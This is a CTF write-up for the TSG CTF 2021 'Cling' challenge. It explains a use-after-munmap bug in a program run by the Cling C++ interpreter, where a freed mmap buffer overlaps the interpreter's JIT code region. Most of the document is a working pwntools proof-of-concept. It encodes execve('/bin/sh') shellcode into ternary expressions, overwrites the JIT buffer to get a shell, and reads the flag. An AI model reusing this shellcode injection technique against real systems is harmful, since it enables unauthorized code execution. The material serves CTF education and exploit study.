# Cling (TSG CTF 2021 Writeup)
This is a simple C++ program challenge, but there are two strange points:
1. The bug is Use After **Munmap** (not free)
2. It uses Cling for executing the source file.
Cling is a C++ interpreter. You can download Cling and execute it like this:
```
user@33316c8b6817:~$ /cling/bin/cling
****************** CLING ******************
* Type C++ code and press enter to run it *
* Type .q to exit *
*******************************************
[cling]$ int x = 1
(int) 1
[cling]$ x = x + 2
(int) 3
[cling]$ int y = x * 3
(int) 9
```
The challenge uses this interpreter to execute the given source code. The given program is a simple map-reduce program. There are the following functionalities implemented actually:
1. Create a buffer and read numbers (using mmap)
2. Change the buffer's access protection
3. Delete the buffer
4. Create a map function
5. Execute the map function
The bug is easy: there is an use after munmap bug.
```
(omitted...)
1. create
2. protect
3. delete
4. set_map
5. run_map
6. set_reduce
7. run_reduce
8. show_result
---------------
> 3
---------------
1. create
2. protect
3. delete
4. set_map
5. run_map
6. set_reduce
7. run_reduce
8. show_result
---------------
> 5
/cling/bin/cling(_ZN4llvm3sys15PrintStackTraceERNS_11raw_ostreamE+0x2e)[0x55cdeba8011e]
/cling/bin/cling(_ZN4llvm3sys17RunSignalHandlersEv+0x46)[0x55cdeba7df56]
/cling/bin/cling(+0xa250be)[0x55cdeba7e0be]
/lib/x86_64-linux-gnu/libc.so.6(+0x46210)[0x7f6a7f397210]
[0x7f6a7f3328a5]
[0x7f6a7f3320c3]
[0x7f6a7f332018]
/cling/bin/cling(_ZNK5cling19IncrementalExecutor14executeWrapperEN4llvm9StringRefEPNS_5ValueE+0x344)[0x55cdeb9cf254]
/cling/bin/cling(_ZN5cling11Interpreter11RunFunctionEPKN5clang12FunctionDeclEPNS_5ValueE+0x97)[0x55cdeb9e2487]
/cling/bin/cling(_ZN5cling11Interpreter16EvaluateInternalERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEENS_18CompilationOptionsEPNS_5ValueEPPNS_11TransactionEm+0x1cd)[0x55cdeb9e3d8d]
/cling/bin/cling(_ZN5cling11Interpreter7processERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEPNS_5ValueEPPNS_11TransactionEb+0x159)[0x55cdeb9e40a9]
/cling/bin/cling(_ZN5cling13MetaProcessor7processEN4llvm9StringRefERNS_11Interpreter17CompilationResultEPNS_5ValueEb+0x1fd)[0x55cdeba30eed]
/cling/bin/cling(_ZN5cling13UserInterface16runInteractivelyEb+0x22d)[0x55cdebaac2ed]
/cling/bin/cling(main+0x55d)[0x55cdeb8a860d]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x7f6a7f3780b3]
/cling/bin/cling(_start+0x2e)[0x55cdeb91b8fe]
Stack dump:
0. Program arguments: /cling/bin/cling --nologo
timeout: the monitored command dumped core
Segmentation fault
```
The key idea of this challenge is that we can overwrap the buffer we allocated before and the buffer Cling interpreter uses for JIT compile. Cling is compiling each function before it actually runs. So, when you create a function and run it after you create and delete a buffer, your allocated buffer and the code region that Cling allocates for a machine code to which compiled just in time will overwrap each other.
So, finally you have to do is to send your favorite shellcode to the server, and overwrite the JITed buffer by using overwrapped mmap buffer.
## PoC
```python
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
import sys
context.log_level = 'error'
is_gaibu = True
log = False
host = sys.argv[1]
port = int(sys.argv[2])
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, b'\x00'))
r = remote(host, port)
def recvuntil(x, verbose=True):
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(n, verbose=True):
s = r.recv(n)
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip(b'\n')
def sendline(s, verbose=True):
if log and verbose:
pass
#print(s)
r.sendline(s)
def send(s, verbose=True):
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
####################################
def menu(choice):
recvuntil(b':')
sendline(str(choice))
# receive and send
def rs(s, new_line=True, r=b'>'):
recvuntil(r)
if new_line:
sendline(s)
else:
send(s)
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
values = []
for i in range(0, len(shellcode), 8):
values.append(just_u64(shellcode[i:i+8]))
print(len(values))
s4 = 0xffffff5be9 # jmp -0xa0
s3 = f"x/72057594037927936-63?{s4}:{values[3]}"
s2 = f"x*0x1000000/72057594037927936-191?{s3}:{values[2]}"
s1 = f"x/72057594037927936-72?{s2}:{values[1]}"
s0 = f"x/72057594037927936-64?{s1}:{values[0]}";
numbers = [x for x in range(100)]
# create
rs(b"1")
rs(str(len(numbers)).encode("ascii"))
for x in numbers:
sendline(str(x).encode("ascii"))
# delete
rs(b"3")
# set_map
rs(b"4")
#x = f"x?{x}:3735928559"
def f(idx):
if len(values) <= idx:
return str(x)
value = values[idx]
s = f(idx + 1)
return f"x-{value}?{s}:{idx}"
x = s0
print(x)
rs(x.encode("ascii"))
# protect
rs(b"2")
rs(b"y")
rs(b"y")
rs(b"y")
rs(b"5")
sendline(b"cat /home/user/flag-26dec3e0f05adecded30266312a10975")
s = recvline()
print(s)
if b"TSGCTF" in s:
exit(0)
else:
exit(1)
```